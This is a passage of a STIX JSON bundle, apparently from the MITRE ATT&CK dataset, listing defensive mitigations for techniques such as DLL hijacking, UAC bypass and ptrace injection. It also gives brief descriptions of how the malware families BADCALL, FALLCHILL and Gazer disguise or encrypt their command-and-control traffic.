            "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157",
            "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517",
            "relationship_type": "mitigates",
            "description": "When possible, store keys on separate cryptographic hardware instead of on the local system. ",
            "id": "relationship--069ff8f0-889c-4463-bf5d-618bf5e457ee",
            "type": "relationship",
            "modified": "2021-03-16T12:53:42.570Z",
            "created": "2020-03-25T18:30:50.135Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5",
            "relationship_type": "mitigates",
            "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with system-level process changes and service configurations.",
            "id": "relationship--06ef2810-b641-4142-83af-bbb00a598c11",
            "type": "relationship",
            "modified": "2020-03-31T13:11:21.523Z",
            "created": "2020-03-25T22:32:16.712Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5",
            "relationship_type": "mitigates",
            "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.",
            "id": "relationship--65b98884-b04d-424a-a89c-c4f52565e160",
            "type": "relationship",
            "modified": "2020-03-31T13:08:46.325Z",
            "created": "2020-03-25T22:32:16.714Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547",
            "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5",
            "relationship_type": "mitigates",
            "description": "Restrict software installation to trusted repositories only and be cautious of orphaned software packages.",
            "id": "relationship--43d69d89-df36-44fa-a09e-c66aa9fa5918",
            "type": "relationship",
            "modified": "2020-03-25T22:32:16.736Z",
            "created": "2020-03-25T22:32:16.736Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5",
            "relationship_type": "mitigates",
            "description": "Restrict read/write access to system-level process files to only select privileged users who have a legitimate need to manage system services.",
            "id": "relationship--9e93d680-0e33-4577-97f6-da4e53f8ab78",
            "type": "relationship",
            "modified": "2020-03-31T13:11:10.795Z",
            "created": "2020-03-25T22:32:16.738Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "relationship_type": "mitigates",
            "description": "Disallow loading of remote DLLs. This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+.\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user's home directory)\n\nThe Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode</code>(Citation: Microsoft More information about DLL)(Citation: Microsoft Dynamic Link Library Search Order)",
            "id": "relationship--46eeb6fa-2dcb-4c86-b79e-8891b2e72566",
            "external_references": [
                {
                    "source_name": "Microsoft More information about DLL",
                    "url": "https://msrc-blog.microsoft.com/2010/08/23/more-information-about-the-dll-preloading-remote-attack-vector/",
                    "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014."
                },
                {
                    "source_name": "Microsoft Dynamic Link Library Search Order",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN",
                    "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014."
                }
            ],
            "type": "relationship",
            "modified": "2021-04-26T18:32:59.710Z",
            "created": "2020-03-26T15:53:25.125Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "relationship_type": "mitigates",
            "description": "Adversaries may use new payloads to execute this technique. Identify and block potentially malicious software executed through hijacking by using application control solutions also capable of blocking libraries loaded by legitimate software.",
            "id": "relationship--6fa01dcb-e06c-4f8b-b6a2-c301f0198df4",
            "type": "relationship",
            "modified": "2021-04-26T18:32:59.703Z",
            "created": "2020-03-26T15:53:25.140Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "relationship_type": "mitigates",
            "description": "Use auditing tools capable of detecting hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for hijacking weaknesses.(Citation: Powersploit)\n\nUse the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.\n\nFind and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)",
            "id": "relationship--4cc78773-df9f-40d8-a2e5-eb2eadb05409",
            "external_references": [
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft CreateProcess"
                },
                {
                    "source_name": "Microsoft Dynamic-Link Library Security",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016."
                },
                {
                    "source_name": "Vulnerability and Exploit Detector",
                    "url": "https://skanthak.homepage.t-online.de/sentinel.html",
                    "description": "Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017."
                }
            ],
            "type": "relationship",
            "modified": "2021-04-26T18:32:59.815Z",
            "created": "2020-03-26T15:53:25.148Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "relationship_type": "mitigates",
            "description": "Update software regularly to include patches that fix DLL side-loading vulnerabilities.",
            "id": "relationship--62c9a1c7-557e-433b-b422-3427a308f34e",
            "type": "relationship",
            "modified": "2021-04-26T18:32:59.819Z",
            "created": "2020-03-26T16:17:09.647Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "relationship_type": "mitigates",
            "description": "Install software in write-protected locations. Set directory access controls to prevent file writes to the search paths for applications, both in the folders where applications are run from and the standard library folders.",
            "id": "relationship--7253ab74-8fbb-422b-bf37-258981865b87",
            "type": "relationship",
            "modified": "2021-04-26T18:32:59.813Z",
            "created": "2020-03-26T16:17:09.665Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825",
            "relationship_type": "mitigates",
            "description": "Adversaries may use new payloads to execute this technique. Identify and block potentially malicious software executed through hijacking by using application control solutions also capable of blocking libraries loaded by legitimate software.",
            "id": "relationship--0fc95a6b-296f-41ab-8663-aea4a80afe0a",
            "type": "relationship",
            "modified": "2021-04-27T19:55:18.775Z",
            "created": "2020-03-26T18:45:03.794Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "relationship_type": "mitigates",
            "description": "Turn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code> to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code>. Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.  (Citation: Executable Installers are Vulnerable)",
            "id": "relationship--214e4329-960c-4c25-8620-b9573a6e06dc",
            "external_references": [
                {
                    "source_name": "Executable Installers are Vulnerable",
                    "url": "https://seclists.org/fulldisclosure/2015/Dec/34",
                    "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."
                }
            ],
            "type": "relationship",
            "modified": "2021-04-26T18:32:59.822Z",
            "created": "2020-03-26T19:30:46.421Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "relationship_type": "mitigates",
            "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able.\n\nEnsure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\\Windows\\</code>, to reduce places where malicious files could be placed for execution.",
            "id": "relationship--523ef32d-7463-4774-a473-fcccb5b0dadd",
            "type": "relationship",
            "modified": "2021-04-26T18:32:59.879Z",
            "created": "2020-03-26T19:33:32.779Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "relationship_type": "mitigates",
            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.",
            "id": "relationship--85422378-e9d7-4bd2-8b57-73fba0641448",
            "type": "relationship",
            "modified": "2021-04-26T18:32:59.892Z",
            "created": "2020-03-26T19:40:38.563Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "relationship_type": "mitigates",
            "description": "Utilize Yama (ex: /proc/sys/kernel/yama/ptrace_scope) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux, grsecurity, and AppArmor.",
            "id": "relationship--78af537b-48cc-411d-a209-3e01c44aa87b",
            "type": "relationship",
            "modified": "2020-06-20T22:16:03.779Z",
            "created": "2020-03-26T20:27:44.220Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808",
            "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
            "relationship_type": "mitigates",
            "description": "Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).",
            "id": "relationship--6928abb5-b9b1-48d5-b3c5-8c7a94da5076",
            "type": "relationship",
            "modified": "2020-03-31T13:39:03.536Z",
            "created": "2020-03-27T12:10:23.734Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
            "relationship_type": "mitigates",
            "description": "Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.(Citation: Github UACMe)",
            "id": "relationship--94d71c18-e2af-4dfd-aa2f-28ca68a772ab",
            "external_references": [
                {
                    "url": "https://github.com/hfiref0x/UACME",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                    "source_name": "Github UACMe"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-27T12:18:44.429Z",
            "created": "2020-03-27T12:10:23.737Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
            "relationship_type": "mitigates",
            "description": "The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege.",
            "id": "relationship--b12a23ae-65f6-4226-8124-331ad59d1556",
            "type": "relationship",
            "modified": "2020-03-27T12:18:44.449Z",
            "created": "2020-03-27T12:10:23.753Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
            "relationship_type": "mitigates",
            "description": "System settings can prevent applications from running that haven't been downloaded from legitimate repositories which may help mitigate some of these issues. Not allowing unsigned applications from being run may also mitigate some risk.",
            "id": "relationship--35428082-1010-4e0e-ac4c-9f1426de7796",
            "type": "relationship",
            "modified": "2020-03-27T12:18:44.451Z",
            "created": "2020-03-27T12:10:23.761Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
            "relationship_type": "mitigates",
            "description": "Remove users from the local administrator group on systems.\n\nBy requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file. Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed.",
            "id": "relationship--7e024389-346c-489b-a406-1bbdec150eda",
            "type": "relationship",
            "modified": "2020-03-27T12:18:44.447Z",
            "created": "2020-03-27T12:10:23.762Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
            "relationship_type": "mitigates",
            "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system. Ensuring that the sudo tty_tickets setting is enabled will prevent this leakage across tty sessions.",
            "id": "relationship--540937b6-1afd-4f8b-8deb-c1c4f6456ce7",
            "type": "relationship",
            "modified": "2020-03-27T12:18:44.450Z",
            "created": "2020-03-27T12:10:23.764Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7",
            "relationship_type": "mitigates",
            "description": "System settings can prevent applications from running that haven't been downloaded through the Apple Store (or other legitimate repositories) which can help mitigate some of these issues. Also enable application control solutions such as AppLocker and/or Device Guard to block the loading of malicious content.",
            "id": "relationship--15b9b22e-7896-4219-8ec9-59b099644a6f",
            "type": "relationship",
            "modified": "2020-06-20T22:40:30.919Z",
            "created": "2020-03-27T13:14:04.866Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7",
            "relationship_type": "mitigates",
            "description": "Windows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)",
            "id": "relationship--1c0ec3cf-8942-4d47-b1ac-dfdaca31bac0",
            "external_references": [
                {
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "source_name": "SpectorOps Code Signing Dec 2017"
                }
            ],
            "type": "relationship",
            "modified": "2020-06-20T22:40:30.928Z",
            "created": "2020-03-27T13:32:37.810Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
            "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7",
            "relationship_type": "mitigates",
            "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)",
            "id": "relationship--d9c08e10-909d-46d0-aa15-b99d1487be62",
            "external_references": [
                {
                    "url": "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning",
                    "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.",
                    "source_name": "Wikipedia HPKP"
                }
            ],
            "type": "relationship",
            "modified": "2020-06-20T22:40:30.951Z",
            "created": "2020-03-27T13:32:37.823Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9",
            "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7",
            "relationship_type": "mitigates",
            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.",
            "id": "relationship--a152969e-2530-4cb7-acdf-f93b138116d0",
            "type": "relationship",
            "modified": "2020-06-20T22:40:30.949Z",
            "created": "2020-03-27T13:32:37.825Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b",
            "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517",
            "relationship_type": "mitigates",
            "description": "Apply patch KB2962486 which prevents credentials from being stored in GPPs.(Citation: ADSecurity Finding Passwords in SYSVOL)(Citation: MS14-025)",
            "id": "relationship--1974c8c2-d97b-4ea3-9ed4-61a8d0cd2fdd",
            "external_references": [
                {
                    "source_name": "ADSecurity Finding Passwords in SYSVOL",
                    "url": "https://adsecurity.org/?p=2288",
                    "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020."
                },
                {
                    "source_name": "MS14-025",
                    "url": "https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati",
                    "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved February 17, 2020."
                }
            ],
            "type": "relationship",
            "modified": "2021-03-16T12:53:42.566Z",
            "created": "2020-03-27T19:50:02.358Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b",
            "target_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
            "relationship_type": "mitigates",
            "description": "Apply patch KB2962486 which prevents credentials from being stored in GPPs.(Citation: ADSecurity Finding Passwords in SYSVOL)(Citation: MS14-025)",
            "id": "relationship--92a0aa90-109d-41d7-a08a-6326480d02e6",
            "external_references": [
                {
                    "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.",
                    "url": "https://adsecurity.org/?p=2288",
                    "source_name": "ADSecurity Finding Passwords in SYSVOL"
                },
                {
                    "source_name": "MS14-025",
                    "url": "https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati",
                    "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved February 17, 2020."
                }
            ],
            "type": "relationship",
            "modified": "2020-06-17T14:25:38.414Z",
            "created": "2020-03-27T19:51:21.977Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2",
            "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF",
                    "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.",
                    "source_name": "US-CERT BADCALL"
                }
            ],
            "description": "[BADCALL](https://attack.mitre.org/software/S0245) uses a FakeTLS method during C2.(Citation: US-CERT BADCALL)",
            "relationship_type": "uses",
            "id": "relationship--5292f0c1-e65e-4233-aa97-ab75354d74a9",
            "type": "relationship",
            "modified": "2020-03-27T20:35:51.492Z",
            "created": "2020-03-27T20:35:51.492Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
            "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
                    "source_name": "US-CERT FALLCHILL Nov 2017"
                }
            ],
            "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) uses fake Transport Layer Security (TLS) to communicate with its C2 server.(Citation: US-CERT FALLCHILL Nov 2017)",
            "relationship_type": "uses",
            "id": "relationship--f77c9b92-0800-4631-b669-524c8ab23772",
            "type": "relationship",
            "modified": "2020-03-27T20:45:20.235Z",
            "created": "2020-03-27T20:45:20.235Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "source_name": "ESET Gazer Aug 2017"
                },
                {
                    "url": "https://securelist.com/introducing-whitebear/81638/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "source_name": "Securelist WhiteBear Aug 2017"
                }
            ],
            "description": "[Gazer](https://attack.mitre.org/software/S0168) uses custom encryption for C2 that uses RSA.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)",
            "relationship_type": "uses",
            "id": "relationship--2709cd56-6a75-487d-9b24-d931c053324a",
            "type": "relationship",
            "modified": "2020-03-27T20:48:50.990Z",
            "created": "2020-03-27T20:48:50.990Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "source_name": "ESET Gazer Aug 2017"
                },
                {
                    "url": "https://securelist.com/introducing-whitebear/81638/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "source_name": "Securelist WhiteBear Aug 2017"
                }
            ],
            "description": "[Gazer](https://attack.mitre.org/software/S0168) uses custom encryption for C2 that uses 3DES.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)",
            "relationship_type": "uses",
            "id": "relationship--a392aa7e-b3ce-477c-acfc-e0f6b1d38556",
            "type": "relationship",
            "modified": "2020-03-27T20:48:50.996Z",
            "created": "2020-03-27T20:48:50.996Z"
        },
        {
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            "object_marking_refs": [
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            ],
